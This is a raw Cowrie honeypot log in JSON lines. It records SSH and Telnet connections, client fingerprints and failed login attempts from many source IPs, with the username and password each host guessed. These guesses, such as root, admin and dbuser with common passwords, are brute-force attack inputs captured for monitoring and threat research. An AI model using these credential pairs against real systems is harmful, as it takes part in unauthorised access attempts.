{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:39.740429Z","src_ip":"217.168.240.63","session":"337e51e7aa47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yankai","password":"yankai123","message":"login attempt [yankai/yankai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:40.280472Z","src_ip":"217.168.240.63","session":"337e51e7aa47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:41.408070Z","src_ip":"217.168.240.63","session":"337e51e7aa47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":49702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b00198952d34","protocol":"ssh","message":"New connection: 201.17.146.173:49702 (10.17.0.5:22) [session: b00198952d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:56.823016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:56.827567Z","src_ip":"201.17.146.173","session":"b00198952d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:57.045737Z","src_ip":"201.17.146.173","session":"b00198952d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holmes","password":"holmes123","message":"login attempt [holmes/holmes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:57.958770Z","src_ip":"201.17.146.173","session":"b00198952d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:59.092449Z","src_ip":"201.17.146.173","session":"b00198952d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":36124,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a78c9f26dbd","protocol":"ssh","message":"New connection: 92.113.145.209:36124 (159.203.135.109:22) [session: 3a78c9f26dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:04.745867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:04.749998Z","src_ip":"92.113.145.209","session":"3a78c9f26dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:04.859539Z","src_ip":"92.113.145.209","session":"3a78c9f26dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":47112,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9bbe95af48","protocol":"ssh","message":"New connection: 76.79.213.69:47112 (10.17.0.5:22) [session: bd9bbe95af48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:05.206547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:05.210422Z","src_ip":"76.79.213.69","session":"bd9bbe95af48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"P@ssw0rd","message":"login attempt [dbuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:05.336785Z","src_ip":"92.113.145.209","session":"3a78c9f26dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:05.342293Z","src_ip":"76.79.213.69","session":"bd9bbe95af48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jonathan","password":"1234","message":"login attempt [jonathan/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:05.861392Z","src_ip":"76.79.213.69","session":"bd9bbe95af48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":64312,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b4d19319096","protocol":"ssh","message":"New connection: 38.93.206.2:64312 (10.17.0.5:22) [session: 4b4d19319096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:06.262655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:06.275432Z","src_ip":"38.93.206.2","session":"4b4d19319096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:06.326097Z","src_ip":"38.93.206.2","session":"4b4d19319096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:06.458574Z","src_ip":"92.113.145.209","session":"3a78c9f26dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bcrfylth","message":"login attempt [root/bcrfylth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:06.487231Z","src_ip":"38.93.206.2","session":"4b4d19319096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:07.019941Z","src_ip":"76.79.213.69","session":"bd9bbe95af48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:07.543965Z","src_ip":"38.93.206.2","session":"4b4d19319096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60528,"dst_ip":"159.203.135.109","dst_port":23,"session":"b06f2dd481c6","protocol":"telnet","message":"New connection: 128.199.8.54:60528 (159.203.135.109:23) [session: b06f2dd481c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:07.570462Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1373,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc7e5e86732","protocol":"ssh","message":"New connection: 102.88.137.80:1373 (10.17.0.5:22) [session: 5cc7e5e86732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:08.666411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:08.677034Z","src_ip":"102.88.137.80","session":"5cc7e5e86732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:08.866333Z","src_ip":"102.88.137.80","session":"5cc7e5e86732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd@2023","message":"login attempt [admin/P@ssw0rd@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:09.639290Z","src_ip":"102.88.137.80","session":"5cc7e5e86732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:10.827209Z","src_ip":"102.88.137.80","session":"5cc7e5e86732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":45080,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e07c75c099","protocol":"ssh","message":"New connection: 5.89.75.194:45080 (10.17.0.5:22) [session: c4e07c75c099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:21.338463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:21.343535Z","src_ip":"5.89.75.194","session":"c4e07c75c099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:21.446453Z","src_ip":"5.89.75.194","session":"c4e07c75c099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vasya","password":"vasya","message":"login attempt [vasya/vasya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:21.889752Z","src_ip":"5.89.75.194","session":"c4e07c75c099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:22.993356Z","src_ip":"5.89.75.194","session":"c4e07c75c099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48430,"dst_ip":"159.203.135.109","dst_port":23,"session":"95cd8c639ccd","protocol":"telnet","message":"New connection: 128.199.8.54:48430 (159.203.135.109:23) [session: 95cd8c639ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:37.642326Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47364,"dst_ip":"159.203.135.109","dst_port":23,"session":"1848a62c61ed","protocol":"telnet","message":"New connection: 128.199.8.54:47364 (159.203.135.109:23) [session: 1848a62c61ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:40.643934Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":54866,"dst_ip":"10.17.0.5","dst_port":22,"session":"193207ecdd65","protocol":"ssh","message":"New connection: 79.104.0.82:54866 (10.17.0.5:22) [session: 193207ecdd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:46.336874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:46.341529Z","src_ip":"79.104.0.82","session":"193207ecdd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:46.495276Z","src_ip":"79.104.0.82","session":"193207ecdd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hrd","password":"hrd","message":"login attempt [hrd/hrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:47.142478Z","src_ip":"79.104.0.82","session":"193207ecdd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:48.299178Z","src_ip":"79.104.0.82","session":"193207ecdd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46782,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9d5fe6fd9ef","protocol":"telnet","message":"New connection: 128.199.8.54:46782 (159.203.135.109:23) [session: a9d5fe6fd9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:48.991377Z"}
{"eventid":"cowrie.session.closed","duration":45.51473665237427,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:53.085069Z","src_ip":"128.199.8.54","session":"b06f2dd481c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48424,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d202b964fa","protocol":"telnet","message":"New connection: 172.81.62.90:48424 (159.203.135.109:23) [session: d2d202b964fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:53.958109Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48426,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e23cd5424ad","protocol":"telnet","message":"New connection: 172.81.62.90:48426 (159.203.135.109:23) [session: 2e23cd5424ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:19:54.942454Z"}
